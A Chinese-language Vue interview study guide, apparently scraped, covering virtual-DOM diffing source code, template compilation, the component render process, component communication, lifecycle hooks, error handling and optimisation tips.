type NonUndefined<T> = T extends undefined ? never : T;
function isUndef (s: any): boolean { return s === undefined; }
function isDef<A> (s: A): s is NonUndefined<A> { return s !== undefined; }
type VNodeQueue = VNode[];
const emptyNode = vnode('', {}, [], undefined, undefined);
function sameVnode (vnode1: VNode, vnode2: VNode): boolean {
// key 和 sel 都相等
// undefined === undefined // true
return vnode1.key === vnode2.key && vnode1.sel === vnode2.sel;
}
function isVnode (vnode: any): vnode is VNode {
return vnode.sel !== undefined;
}
type KeyToIndexMap = {[key: string]: number};
type ArraysOf<T> = {
[K in keyof T]: Array<T[K]>;
}
type ModuleHooks = ArraysOf<Module>;
function createKeyToOldIdx (children: VNode[], beginIdx: number, endIdx: number): KeyToIndexMap {
const map: KeyToIndexMap = {};
for (let i = beginIdx; i <= endIdx; ++i) {
const key = children[i]?.key;
if (key !== undefined) {
map[key] = i;
}
}
return map;
}
const hooks: Array<keyof Module> = ['create', 'update', 'remove', 'destroy', 'pre', 'post'];
export { h } from './h';
export { thunk } from './thunk';
export function init (modules: Array<Partial<Module>>, domApi?: DOMAPI) {
let i: number, j: number, cbs = ({} as ModuleHooks);
const api: DOMAPI = domApi !== undefined ? domApi : htmlDomApi;
for (i = 0; i < hooks.length; ++i) {
cbs[hooks[i]] = [];
for (j = 0; j < modules.length; ++j) {
const hook = modules[j][hooks[i]];
if (hook !== undefined) {
(cbs[hooks[i]] as any[]).push(hook);
}
}
}
function emptyNodeAt (elm: Element) {
const id = elm.id ? '#' + elm.id : '';
const c = elm.className ? '.' + elm.className.split(' ').join('.') : '';
return vnode(api.tagName(elm).toLowerCase() + id + c, {}, [], undefined, elm);
}
function createRmCb (childElm: Node, listeners: number) {
return function rmCb () {
if (--listeners === 0) {
const parent = api.parentNode(childElm);
api.removeChild(parent, childElm);
}
};
}
function createElm (vnode: VNode, insertedVnodeQueue: VNodeQueue): Node {
let i: any, data = vnode.data;
if (data !== undefined) {
const init = data.hook?.init;
if (isDef(init)) {
init(vnode);
data = vnode.data;
}
}
let children = vnode.children, sel = vnode.sel;
if (sel === '!') {
if (isUndef(vnode.text)) {
vnode.text = '';
}
vnode.elm = api.createComment(vnode.text!);
} else if (sel !== undefined) {
// Parse selector
const hashIdx = sel.indexOf('#');
const dotIdx = sel.indexOf('.', hashIdx);
const hash = hashIdx > 0 ? hashIdx : sel.length;
const dot = dotIdx > 0 ? dotIdx : sel.length;
const tag = hashIdx !== -1 || dotIdx !== -1 ? sel.slice(0, Math.min(hash, dot)) : sel;
const elm = vnode.elm = isDef(data) && isDef(i = data.ns)
? api.createElementNS(i, tag)
: api.createElement(tag);
if (hash < dot) elm.setAttribute('id', sel.slice(hash + 1, dot));
if (dotIdx > 0) elm.setAttribute('class', sel.slice(dot + 1).replace(/\./g, ' '));
for (i = 0; i < cbs.create.length; ++i) cbs.create[i](emptyNode, vnode);
if (is.array(children)) {
for (i = 0; i < children.length; ++i) {
const ch = children[i];
if (ch != null) {
api.appendChild(elm, createElm(ch as VNode, insertedVnodeQueue));
}
}
} else if (is.primitive(vnode.text)) {
api.appendChild(elm, api.createTextNode(vnode.text));
}
const hook = vnode.data!.hook;
if (isDef(hook)) {
hook.create?.(emptyNode, vnode);
if (hook.insert) {
insertedVnodeQueue.push(vnode);
}
}
} else {
vnode.elm = api.createTextNode(vnode.text!);
}
return vnode.elm;
}
function addVnodes (
parentElm: Node,
before: Node | null,
vnodes: VNode[],
startIdx: number,
endIdx: number,
insertedVnodeQueue: VNodeQueue
) {
for (; startIdx <= endIdx; ++startIdx) {
const ch = vnodes[startIdx];
if (ch != null) {
api.insertBefore(parentElm, createElm(ch, insertedVnodeQueue), before);
}
}
}
function invokeDestroyHook (vnode: VNode) {
const data = vnode.data;
if (data !== undefined) {
data?.hook?.destroy?.(vnode);
for (let i = 0; i < cbs.destroy.length; ++i) cbs.destroy[i](vnode);
if (vnode.children !== undefined) {
for (let j = 0; j < vnode.children.length; ++j) {
const child = vnode.children[j];
if (child != null && typeof child !== "string") {
invokeDestroyHook(child);
}
}
}
}
}
function removeVnodes (parentElm: Node,
vnodes: VNode[],
startIdx: number,
endIdx: number): void {
for (; startIdx <= endIdx; ++startIdx) {
let listeners: number, rm: () => void, ch = vnodes[startIdx];
if (ch != null) {
if (isDef(ch.sel)) {
invokeDestroyHook(ch); // hook 操作
// 移除 DOM 元素
listeners = cbs.remove.length + 1;
rm = createRmCb(ch.elm!, listeners);
for (let i = 0; i < cbs.remove.length; ++i) cbs.remove[i](ch, rm);
const removeHook = ch?.data?.hook?.remove;
if (isDef(removeHook)) {
removeHook(ch, rm);
} else {
rm();
}
} else { // Text node
api.removeChild(parentElm, ch.elm!);
}
}
}
}
// diff算法核心
function updateChildren (parentElm: Node,
oldCh: VNode[],
newCh: VNode[],
insertedVnodeQueue: VNodeQueue) {
let oldStartIdx = 0, newStartIdx = 0;
let oldEndIdx = oldCh.length - 1;
let oldStartVnode = oldCh[0];
let oldEndVnode = oldCh[oldEndIdx];
let newEndIdx = newCh.length - 1;
let newStartVnode = newCh[0];
let newEndVnode = newCh[newEndIdx];
let oldKeyToIdx: KeyToIndexMap | undefined;
let idxInOld: number;
let elmToMove: VNode;
let before: any;
while (oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx) {
if (oldStartVnode == null) {
oldStartVnode = oldCh[++oldStartIdx]; // Vnode might have been moved left
} else if (oldEndVnode == null) {
oldEndVnode = oldCh[--oldEndIdx];
} else if (newStartVnode == null) {
newStartVnode = newCh[++newStartIdx];
} else if (newEndVnode == null) {
newEndVnode = newCh[--newEndIdx];
// 开始和开始对比--头头
} else if (sameVnode(oldStartVnode, newStartVnode)) {
patchVnode(oldStartVnode, newStartVnode, insertedVnodeQueue);
oldStartVnode = oldCh[++oldStartIdx];
newStartVnode = newCh[++newStartIdx];
// 结束和结束对比--尾尾
} else if (sameVnode(oldEndVnode, newEndVnode)) {
patchVnode(oldEndVnode, newEndVnode, insertedVnodeQueue);
oldEndVnode = oldCh[--oldEndIdx];
newEndVnode = newCh[--newEndIdx];
// 开始和结束对比--头尾
} else if (sameVnode(oldStartVnode, newEndVnode)) { // Vnode moved right
patchVnode(oldStartVnode, newEndVnode, insertedVnodeQueue);
api.insertBefore(parentElm, oldStartVnode.elm!, api.nextSibling(oldEndVnode.elm!));
oldStartVnode = oldCh[++oldStartIdx];
newEndVnode = newCh[--newEndIdx];
// 结束和开始对比--尾头
} else if (sameVnode(oldEndVnode, newStartVnode)) { // Vnode moved left
patchVnode(oldEndVnode, newStartVnode, insertedVnodeQueue);
api.insertBefore(parentElm, oldEndVnode.elm!, oldStartVnode.elm!);
oldEndVnode = oldCh[--oldEndIdx];
newStartVnode = newCh[++newStartIdx];
// 以上四个都未命中
} else {
if (oldKeyToIdx === undefined) {
oldKeyToIdx = createKeyToOldIdx(oldCh, oldStartIdx, oldEndIdx);
}
// 拿新节点 key ,能否对应上 oldCh 中的某个节点的 key
idxInOld = oldKeyToIdx[newStartVnode.key as string];
// 没对应上
if (isUndef(idxInOld)) { // New element
api.insertBefore(parentElm, createElm(newStartVnode, insertedVnodeQueue), oldStartVnode.elm!);
newStartVnode = newCh[++newStartIdx];
// 对应上了
} else {
// 对应上 key 的节点
elmToMove = oldCh[idxInOld];
// sel 是否相等(sameVnode 的条件)
if (elmToMove.sel !== newStartVnode.sel) {
// New element
api.insertBefore(parentElm, createElm(newStartVnode, insertedVnodeQueue), oldStartVnode.elm!);
// sel 相等,key 相等
} else {
patchVnode(elmToMove, newStartVnode, insertedVnodeQueue);
oldCh[idxInOld] = undefined as any;
api.insertBefore(parentElm, elmToMove.elm!, oldStartVnode.elm!);
}
newStartVnode = newCh[++newStartIdx];
}
}
}
if (oldStartIdx <= oldEndIdx || newStartIdx <= newEndIdx) {
if (oldStartIdx > oldEndIdx) {
before = newCh[newEndIdx + 1] == null ? null : newCh[newEndIdx + 1].elm;
addVnodes(parentElm, before, newCh, newStartIdx, newEndIdx, insertedVnodeQueue);
} else {
removeVnodes(parentElm, oldCh, oldStartIdx, oldEndIdx);
}
}
}
function patchVnode (oldVnode: VNode, vnode: VNode, insertedVnodeQueue: VNodeQueue) {
// 执行 prepatch hook
const hook = vnode.data?.hook;
hook?.prepatch?.(oldVnode, vnode);
// 设置 vnode.elem
const elm = vnode.elm = oldVnode.elm!;
// 旧 children
let oldCh = oldVnode.children as VNode[];
// 新 children
let ch = vnode.children as VNode[];
if (oldVnode === vnode) return;
// hook 相关
if (vnode.data !== undefined) {
for (let i = 0; i < cbs.update.length; ++i) cbs.update[i](oldVnode, vnode);
vnode.data.hook?.update?.(oldVnode, vnode);
}
// vnode.text === undefined (vnode.children 一般有值)
if (isUndef(vnode.text)) {
// 新旧都有 children
if (isDef(oldCh) && isDef(ch)) {
if (oldCh !== ch) updateChildren(elm, oldCh, ch, insertedVnodeQueue);
// 新 children 有,旧 children 无 (旧 text 有)
} else if (isDef(ch)) {
// 清空 text
if (isDef(oldVnode.text)) api.setTextContent(elm, '');
// 添加 children
addVnodes(elm, null, ch, 0, ch.length - 1, insertedVnodeQueue);
// 旧 child 有,新 child 无
} else if (isDef(oldCh)) {
// 移除 children
removeVnodes(elm, oldCh, 0, oldCh.length - 1);
// 旧 text 有
} else if (isDef(oldVnode.text)) {
api.setTextContent(elm, '');
}
// else : vnode.text !== undefined (vnode.children 无值)
} else if (oldVnode.text !== vnode.text) {
// 移除旧 children
if (isDef(oldCh)) {
removeVnodes(elm, oldCh, 0, oldCh.length - 1);
}
// 设置新 text
api.setTextContent(elm, vnode.text!);
}
hook?.postpatch?.(oldVnode, vnode);
}
return function patch (oldVnode: VNode | Element, vnode: VNode): VNode {
let i: number, elm: Node, parent: Node;
const insertedVnodeQueue: VNodeQueue = [];
// 执行 pre hook
for (i = 0; i < cbs.pre.length; ++i) cbs.pre[i]();
// 第一个参数不是 vnode
if (!isVnode(oldVnode)) {
// 创建一个空的 vnode ,关联到这个 DOM 元素
oldVnode = emptyNodeAt(oldVnode);
}
// 相同的 vnode(key 和 sel 都相等)
if (sameVnode(oldVnode, vnode)) {
// vnode 对比
patchVnode(oldVnode, vnode, insertedVnodeQueue);
// 不同的 vnode ,直接删掉重建
} else {
elm = oldVnode.elm!;
parent = api.parentNode(elm);
// 重建
createElm(vnode, insertedVnodeQueue);
if (parent !== null) {
api.insertBefore(parent, vnode.elm!, api.nextSibling(elm));
removeVnodes(parent, [oldVnode], 0, 0);
}
}
for (i = 0; i < insertedVnodeQueue.length; ++i) {
insertedVnodeQueue[i].data!.hook!.insert!(insertedVnodeQueue[i]);
}
for (i = 0; i < cbs.post.length; ++i) cbs.post[i]();
return vnode;
};
}
模板编译
前置知识
- 模板是
vue
开发中最常用的,即与使用相关联的原理 - 它不是
HTML
,有指令、插值、JS表达式,能实现循环、判断,因此模板一定转为JS
代码,即模板编译 - 面试不会直接问,但会通过
组件渲染和更新过程
考察
模板编译
vue template compiler
将模板编译为render
函数- 执行
render
函数,生成vnode
- 基于
vnode
在执行patch
和diff
- 使用
webpack vue-loader
插件,会在开发环境下编译模板
with语法
- 改变
{}
内自由变量的查找规则,当做obj
属性来查找 - 如果找不到匹配的
obj
属性,就会报错 with
要慎用,它打破了作用域规则,易读性变差
vue组件中使用render代替template
// 执行 node index.js
const compiler = require('vue-template-compiler')
// 插值
const template = `<p>{message}</p>`
with(this){return _c('p', [_v(_s(message))])}
// this就是vm的实例, message等变量会从vm上读取,触发getter
// _c => createElement 也就是h函数 => 返回vnode
// _v => createTextVNode
// _s => toString
// 也就是这样 with(this){return createElement('p',[createTextVNode(toString(message))])}
// h -> vnode
// createElement -> vnode
// 表达式
const template = `<p>{{flag ? message : 'no message found'}}</p>`
// with(this){return _c('p',[_v(_s(flag ? message : 'no message found'))])}
// 属性和动态属性
const template = `
<div id="div1" class="container">
<img :src="imgUrl"/>
</div>
`
with(this){return _c('div',
{staticClass:"container",attrs:{"id":"div1"}},
[
_c('img',{attrs:{"src":imgUrl}})])}
// 条件
const template = `
<div>
<p v-if="flag === 'a'">A</p>
<p v-else>B</p>
</div>
`
with(this){return _c('div',[(flag === 'a')?_c('p',[_v("A")]):_c('p',[_v("B")])])}
// 循环
const template = `
<ul>
<li v-for="item in list" :key="item.id">{{item.title}}</li>
</ul>
`
with(this){return _c('ul',_l((list),function(item){return _c('li',{key:item.id},[_v(_s(item.title))])}),0)}
// 事件
const template = `
<button @click="clickHandler">submit</button>
`
with(this){return _c('button',{on:{"click":clickHandler}},[_v("submit")])}
// v-model
const template = `<input type="text" v-model="name">`
// 主要看 input 事件
with(this){return _c('input',{directives:[{name:"model",rawName:"v-model",value:(name),expression:"name"}],attrs:{"type":"text"},domProps:{"value":(name)},on:{"input":function($event){if($event.target.composing)return;name=$event.target.value}}})}
// render 函数
// 返回 vnode
// patch
// 编译
const res = compiler.compile(template)
console.log(res.render)
// ---------------分割线--------------
// 从 vue 源码中找到缩写函数的含义
function installRenderHelpers (target) {
target._o = markOnce;
target._n = toNumber;
target._s = toString;
target._l = renderList;
target._t = renderSlot;
target._q = looseEqual;
target._i = looseIndexOf;
target._m = renderStatic;
target._f = resolveFilter;
target._k = checkKeyCodes;
target._b = bindObjectProps;
target._v = createTextVNode;
target._e = createEmptyVNode;
target._u = resolveScopedSlots;
target._g = bindObjectListeners;
target._d = bindDynamicKeys;
target._p = prependModifier;
}
Vue组件渲染过程
前言
- 一个组件渲染到页面,修改
data
触发更新(数据驱动视图) - 其背后原理是什么,需要掌握哪些点
- 考察对流程了解的全面程度
回顾三大核心知识点
- 响应式 :监听
data
属性getter
、setter
(包括数组) - 模板编译 :模板到
render
函数,再到vnode
- vdom :两种用法
patch(elem,vnode)
首次渲染vnode
到container
上patch(vnode、newVnode)
新的vnode
去更新旧的vnode
- 搞定这三点核心原理,
vue
原理不是问题
组件渲染更新过程
- 1. 初次渲染过程
- 解析模板为
render
函数(或在开发环境已经完成vue-loader
模板编译) - 触发响应式,监听
data
属性getter
、setter
- 执行
render
函数(执行render
函数过程中,会获取data
的属性触发getter
),生成vnode
,在执行patch(elem,vnode)
elem
组件对应的dom
节点const template = <p>{message}</p>
- 编译为
render
函数with(this){return _c('p', [_v(_s(message))])}
this
就是vm
的实例,message
等变量会从vm
上读取,触发getter
进行依赖收集
- 解析模板为
export default {
data() {
return {
message: 'hello' // render函数执行过程中会获取message变量值,触发getter
}
}
}
- 2. 更新过程
- 修改
data
,触发setter
(此前在getter
中已被监听) - 重新执行
render
函数,生成newVnode
- 在调用
patch(oldVnode, newVnode)
算出最小差异,进行更新
- 修改
- 3. 完成流程图
异步渲染
- 汇总
data
的修改,一次更新视图 - 减少
DOM
操作次数,提高性能
methods: {
addItem() {
this.list.push(`${Date.now()}`)
this.list.push(`${Date.now()}`)
this.list.push(`${Date.now()}`)
// 1.页面渲染是异步的,$nextTick待渲染完在回调
// 2.页面渲染时会将data的修改做整合,多次data修改也只会渲染一次
this.$nextTick(()=>{
const ulElem = this.$refs.ul
console.log(ulElem.childNotes.length)
})
}
}
总结
- 渲染和响应式的关系
- 渲染和模板编译的关系
- 渲染和
vdom
的关系
Vue组件之间通信方式有哪些
Vue 组件间通信是面试常考的知识点之一,这题有点类似于开放题,你回答出越多方法当然越加分,表明你对 Vue 掌握的越熟练。Vue 组件间通信只要指以下 3 类通信 :
父子组件通信
、隔代组件通信
、兄弟组件通信
,下面我们分别介绍每种通信方式且会说明此种方法可适用于哪类组件间通信
组件传参的各种方式
组件通信常用方式有以下几种
props / $emit
适用 父子组件通信- 父组件向子组件传递数据是通过
prop
传递的,子组件传递数据给父组件是通过$emit
触发事件来做到的
- 父组件向子组件传递数据是通过
ref
与$parent / $children(vue3废弃)
适用 父子组件通信ref
:如果在普通的DOM
元素上使用,引用指向的就是DOM
元素;如果用在子组件上,引用就指向组件实例$parent / $children
:访问父组件的属性或方法 / 访问子组件的属性或方法
EventBus ($emit / $on)
适用于 父子、隔代、兄弟组件通信- 这种方法通过一个空的
Vue
实例作为中央事件总线(事件中心),用它来触发事件和监听事件,从而实现任何组件间的通信,包括父子、隔代、兄弟组件
- 这种方法通过一个空的
$attrs / $listeners(vue3废弃)
适用于 隔代组件通信$attrs
:包含了父作用域中不被prop
所识别 (且获取) 的特性绑定 (class
和style
除外 )。当一个组件没有声明任何prop
时,这里会包含所有父作用域的绑定 (class
和style
除外 ),并且可以通过v-bind="$attrs"
传入内部组件。通常配合inheritAttrs
选项一起使用,多余的属性不会被解析到标签上$listeners
:包含了父作用域中的 (不含.native
修饰器的)v-on
事件监听器。它可以通过v-on="$listeners"
传入内部组件
provide / inject
适用于 隔代组件通信- 祖先组件中通过
provider
来提供变量,然后在子孙组件中通过inject
来注入变量。provide / inject
API 主要解决了跨级组件间的通信问题,不过它的使用场景,主要是子组件获取上级组件的状态 ,跨级组件间建立了一种主动提供与依赖注入的关系
- 祖先组件中通过
$root
适用于 隔代组件通信 访问根组件中的属性或方法,是根组件,不是父组件。$root
只对根组件有用Vuex
适用于 父子、隔代、兄弟组件通信Vuex
是一个专为Vue.js
应用程序开发的状态管理模式。每一个Vuex
应用的核心就是store
(仓库)。“store” 基本上就是一个容器,它包含着你的应用中大部分的状态 (state
)Vuex
的状态存储是响应式的。当Vue
组件从store
中读取状态的时候,若store
中的状态发生变化,那么相应的组件也会相应地得到高效更新。- 改变
store
中的状态的唯一途径就是显式地提交 (commit
)mutation
。这样使得我们可以方便地跟踪每一个状态的变化。
根据组件之间关系讨论组件通信最为清晰有效
- 父子组件:
props
/$emit
/$parent
/ref
- 兄弟组件:
$parent
/eventbus
/vuex
- 跨层级关系:
eventbus
/vuex
/provide+inject
/$attrs + $listeners
/$root
Vue的生命周期方法有哪些
Vue
实例有一个完整的生命周期,也就是从开始创建
、初始化数据
、编译模版
、挂载Dom -> 渲染
、更新 -> 渲染
、卸载
等一系列过程,我们称这是Vue
的生命周期Vue
生命周期总共分为8个阶段创建前/后
,载入前/后
,更新前/后
,销毁前/后
beforeCreate
=>created
=>beforeMount
=>Mounted
=>beforeUpdate
=>updated
=>beforeDestroy
=>destroyed
。keep-alive
下:activated
deactivated
生命周期vue2 | 生命周期vue3 | 描述 |
---|---|---|
beforeCreate | beforeCreate | 在实例初始化之后,数据观测(data observer ) 之前被调用。 |
created | created | 实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer ),属性和方法的运算, watch/event 事件回调。这里没有$el |
beforeMount | beforeMount | 在挂载开始之前被调用:相关的 render 函数首次被调用 |
mounted | mounted | el 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子 |
beforeUpdate | beforeUpdate | 组件数据更新之前调用,发生在虚拟 DOM 打补丁之前 |
updated | updated | 由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子 |
beforeDestroy | beforeUnmount | 实例销毁之前调用。在这一步,实例仍然完全可用 |
destroyed | unmounted | 实例销毁后调用。调用后, Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。 |
其他几个生命周期
生命周期vue2 | 生命周期vue3 | 描述 |
---|---|---|
activated | activated | keep-alive 专属,组件被激活时调用 |
deactivated | deactivated | keep-alive 专属,组件被销毁时调用 |
errorCaptured | errorCaptured | 捕获一个来自子孙组件的错误时被调用 |
|
renderTracked
| 调试钩子,响应式依赖被收集时调用|
renderTriggered
| 调试钩子,响应式依赖被触发时调用|
serverPrefetch
|ssr only
,组件实例在服务器上被渲染前调用- 要掌握每个生命周期内部可以做什么事
beforeCreate
初始化vue
实例,进行数据观测。执行时组件实例还未创建,通常用于插件开发中执行一些初始化任务created
组件初始化完毕,可以访问各种数据,获取接口数据等beforeMount
此阶段vm.el
虽已完成DOM
初始化,但并未挂载在el
选项上mounted
实例已经挂载完成,可以进行一些DOM
操作beforeUpdate
更新前,可用于获取更新前各种状态。此时view
层还未更新,可用于获取更新前各种状态。可以在这个钩子中进一步地更改状态,这不会触发附加的重渲染过程。updated
完成view
层的更新,更新后,所有状态已是最新。可以执行依赖于DOM
的操作。然而在大多数情况下,你应该避免在此期间更改状态,因为这可能会导致更新无限循环。 该钩子在服务器端渲染期间不被调用。destroyed
可以执行一些优化操作,清空定时器,解除绑定事件- vue3
beforeunmount
:实例被销毁前调用,可用于一些定时器或订阅的取消 - vue3
unmounted
:销毁一个实例。可清理它与其它实例的连接,解绑它的全部指令及事件监听器
<div id="app">{{name}}</div>
<script>
const vm = new Vue({
data(){
return {name:'poetries'}
},
el: '#app',
beforeCreate(){
// 数据观测(data observer) 和 event/watcher 事件配置之前被调用。
console.log('beforeCreate');
},
created(){
// 属性和方法的运算, watch/event 事件回调。这里没有$el
console.log('created')
},
beforeMount(){
// 相关的 render 函数首次被调用。
console.log('beforeMount')
},
mounted(){
// 被新创建的 vm.$el 替换
console.log('mounted')
},
beforeUpdate(){
// 数据更新时调用,发生在虚拟 DOM 重新渲染和打补丁之前。
console.log('beforeUpdate')
},
updated(){
// 由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。
console.log('updated')
},
beforeDestroy(){
// 实例销毁之前调用 实例仍然完全可用
console.log('beforeDestroy')
},
destroyed(){
// 所有东西都会解绑定,所有的事件监听器会被移除
console.log('destroyed')
}
});
setTimeout(() => {
vm.name = 'poetry';
setTimeout(() => {
vm.$destroy()
}, 1000);
}, 1000);
</script>
- 组合式API生命周期钩子
你可以通过在生命周期钩子前面加上 “on
” 来访问组件的生命周期钩子。
下表包含如何在 setup()
内部调用生命周期钩子:
选项式 API | Hook inside setup |
---|---|
beforeCreate | 不需要* |
created | 不需要* |
beforeMount | onBeforeMount |
mounted | onMounted |
beforeUpdate | onBeforeUpdate |
updated | onUpdated |
beforeUnmount | onBeforeUnmount |
unmounted | onUnmounted |
errorCaptured | onErrorCaptured |
renderTracked | onRenderTracked |
renderTriggered | onRenderTriggered |
因为
setup
是围绕beforeCreate
和created
生命周期钩子运行的,所以不需要显式地定义它们。换句话说,在这些钩子中编写的任何代码都应该直接在setup
函数中编写
export default {
setup() {
// mounted
onMounted(() => {
console.log('Component is mounted!')
})
}
}
setup
和created
谁先执行?
beforeCreate
:组件被创建出来,组件的methods
和data
还没初始化好setup
:在beforeCreate
和created
之前执行created
:组件被创建出来,组件的methods
和data
已经初始化好了
由于在执行
setup
的时候,created
还没有创建好,所以在setup
函数内我们是无法使用data
和methods
的。所以vue
为了让我们避免错误的使用,直接将setup
函数内的this
执行指向undefined
import { ref } from "vue"
export default {
// setup函数是组合api的入口函数,注意在组合api中定义的变量或者方法,要在template响应式需要return{}出去
setup(){
let count = ref(1)
function myFn(){
count.value +=1
}
return {count,myFn}
},
}
- 其他问题
- 什么是vue生命周期? Vue 实例从创建到销毁的过程,就是生命周期。从开始创建、初始化数据、编译模板、挂载Dom→渲染、更新→渲染、销毁等一系列过程,称之为
Vue
的生命周期。 - vue生命周期的作用是什么? 它的生命周期中有多个事件钩子,让我们在控制整个Vue实例的过程时更容易形成好的逻辑。
- vue生命周期总共有几个阶段? 它可以总共分为
8
个阶段:创建前/后、载入前/后、更新前/后、销毁前/销毁后。 - 第一次页面加载会触发哪几个钩子? 会触发下面这几个
beforeCreate
、created
、beforeMount
、mounted
。 - 你的接口请求一般放在哪个生命周期中? 接口请求一般放在
mounted
中,但需要注意的是服务端渲染时不支持mounted
,需要放到created
中 - DOM 渲染在哪个周期中就已经完成? 在
mounted
中,- 注意
mounted
不会承诺所有的子组件也都一起被挂载。如果你希望等到整个视图都渲染完毕,可以用vm.$nextTick
替换掉mounted
- 注意
mounted: function () {
this.$nextTick(function () {
// Code that will run only after the
// entire view has been rendered
})
}
如何统一监听Vue组件报错
- window.onerror
- 全局监听所有
JS
错误,包括异步错误 - 但是它是
JS
级别的,识别不了Vue
组件信息,Vue
内部的错误还是用Vue
来监听 - 捕捉一些
Vue
监听不到的错误
- 全局监听所有
- errorCaptured生命周期
- 监听所有下级组件 的错误
- 返回
false
会阻止向上传播到window.onerror
- errorHandler配置
Vue
全局错误监听,所有组件错误都会汇总到这里- 但
errorCaptured
返回false
,不会传播到这里 window.onerror
和errorHandler
互斥,window.onerror
不会在被触发,这里都是全局错误监听了
- 异步错误
- 异步回调里的错误,
errorHandler
监听不到 - 需要使用
window.onerror
- 异步回调里的错误,
- 总结
- 实际工作中,三者结合使用
promise
(promise
没有被catch
的报错,使用onunhandledrejection
监听)和setTimeout
异步,vue
里面监听不了
window.addEventListener("unhandledrejection", event => {
// 捕获 Promise 没有 catch 的错误
console.info('unhandledrejection----', event)
})
Promise.reject('错误信息')
// .catch(e => console.info(e)) // catch 住了,就不会被 unhandledrejection 捕获
* `errorCaptured`监听一些重要的、有风险组件的错误
* `window.onerror`和`errorCaptured`候补全局监听
// main.js
const app = createApp(App)
// 所有组件错误都会汇总到这里
// window.onerror和errorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
// 阻止向window.onerror传播
app.config.errorHandler = (error, vm, info) => {
console.info('errorHandler----', error, vm, info)
}
// 在app.vue最上层中监控全局组件
export default {
mounted() {
/**
* msg:错误的信息
* source:哪个文件
* line:行
* column:列
* error:错误的对象
*/
// 可以监听一切js的报错, try...catch 捕获的 error ,无法被 window.onerror 监听到
window.onerror = function (msg, source, line, column, error) {
console.info('window.onerror----', msg, source, line, column, error)
}
// 用addEventListener跟window.onerror效果一样,参数不一样
// window.addEventListener('error', event => {
// console.info('window error', event)
// })
},
errorCaptured: (errInfo, vm, info) => {
console.info('errorCaptured----', errInfo, vm, info)
// 返回false会阻止向上传播到window.onerror
// 返回false会阻止传播到errorHandler
// return false
},
}
// ErrorDemo.vue
export default {
name: 'ErrorDemo',
data() {
return {
num: 100
}
},
methods: {
clickHandler() {
try {
this.num() // 报错
} catch (ex) {
console.error('catch.....', ex)
// try...catch 捕获的 error ,无法被 window.onerror 监听到
}
this.num() // 报错
}
},
mounted() {
// 被errorCaptured捕获
// throw new Error('mounted 报错')
// 异步报错,errorHandler、errorCaptured监听不到,vue对异步报错监听不了,需要使用window.onerror来做
// setTimeout(() => {
// throw new Error('setTimeout 报错')
// }, 1000)
},
}
在实际工作中,你对Vue做过哪些优化
- v-if和v-show
v-if
彻底销毁组件v-show
使用dispaly
切换block/none
- 实际工作中大部分情况下使用
v-if
就好,不要过渡优化
- v-for使用key
key
不要使用index
- 使用computed缓存
- keep-alive缓存组件
- 频繁切换的组件
tabs
- 不要乱用,缓存会占用更多的内存
- 频繁切换的组件
- 异步组件
- 针对体积较大的组件,如编辑器、复杂表格、复杂表单
- 拆包,需要时异步加载,不需要时不加载
- 减少主包体积,首页会加载更快
- 演示
<!-- index.vue -->
<template>
<Child></Child>
</template>
<script>
import { defineAsyncComponent } from 'vue'
export default {
name: 'AsyncComponent',
components: {
// child体积大 异步加载才有意义
// defineAsyncComponent vue3的写法
Child: defineAsyncComponent(() => import(/* webpackChunkName: "async-child" */ './Child.vue'))
}
}
<!-- child.vue -->
<template>
<p>async component child</p>
</template>
<script>
export default {
name: 'Child',
}
</script>
- 路由懒加载
- 项目比较大,拆分路由,保证首页先加载
- 演示
const routes = [
{
path: '/',
name: 'Home',
component: Home // 直接加载
},
{
path: '/about',
name: 'About',
// route level code-splitting
// this generates a separate chunk (about.[hash].js) for this route
// which is lazy-loaded when the route is visited.
// 路由懒加载
component: () => import(/* webpackChunkName: "about" */ '../views/About.vue')
}
]
- 服务端SSR
- 可使用
Nuxt.js
- 按需优化,使用
SSR
成本比较高
- 可使用
- 实际工作中你遇到积累的业务的优化经验也可以说
连环问:你在使用Vue过程中遇到过哪些坑
- 内存泄露
- 全局变量、全局事件、全局定时器没有销毁
- 自定义事件没有销毁
- Vue2响应式的缺陷(vue3不在有)
data
后续新增属性用Vue.set
data
删除属性用Vue.delete
Vue2
并不支持数组下标的响应式。也就是说Vue2
检测不到通过下标更改数组的值arr[index] = value
- 路由切换时scroll会重新回到顶部
- 这是
SPA
应用的通病,不仅仅是vue
- 如,列表页滚动到第二屏,点击详情页,再返回列表页,此时列表页组件会重新渲染回到了第一页
- 解决方案
- 在列表页缓存翻页过的数据和
scrollTop
的值 - 当再次返回列表页时,渲染列表组件,执行
scrollTo(xx)
- 终极方案:
MPA
(多页面) +App WebView
(可以打开多个页面不会销毁之前的)
- 在列表页缓存翻页过的数据和
- 这是
- 日常遇到问题记录总结,下次面试就能用到
5 Vue3
vue3 对 vue2 有什么优势
- 性能更好(编译优化、使用
proxy
等) - 体积更小
- 更好的
TS
支持 - 更好的代码组织
- 更好的逻辑抽离
- 更多新功能
vue3 和 vue2 的生命周期有什么区别
Options API
生命周期
beforeDestroy
改为beforeUnmount
destroyed
改为umounted
- 其他沿用
vue2
生命周期
Composition API
生命周期
import { onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted } from 'vue'
export default {
name: 'LifeCycles',
props: {
msg: String
},
// setup等于 beforeCreate 和 created
setup() {
console.log('setup')
onBeforeMount(() => {
console.log('onBeforeMount')
})
onMounted(() => {
console.log('onMounted')
})
onBeforeUpdate(() => {
console.log('onBeforeUpdate')
})
onUpdated(() => {
console.log('onUpdated')
})
onBeforeUnmount(() => {
console.log('onBeforeUnmount')
})
onUnmounted(() => {
console.log('onUnmounted')
})
},
// 兼容vue2生命周期 options API和composition API生命周期二选一
beforeCreate() {
console.log('beforeCreate')
},
created() {
console.log('created')
},
beforeMount() {
console.log('beforeMount')
},
mounted() {
console.log('mounted')
},
beforeUpdate() {
console.log('beforeUpdate')
},
updated() {
console.log('updated')
},
// beforeDestroy 改名
beforeUnmount() {
console.log('beforeUnmount')
},
// destroyed 改名
unmounted() {
console.log('unmounted')
}
}
如何理解Composition API和Options API
composition API对比Option API
- Composition API带来了什么
- 更好的代码组织
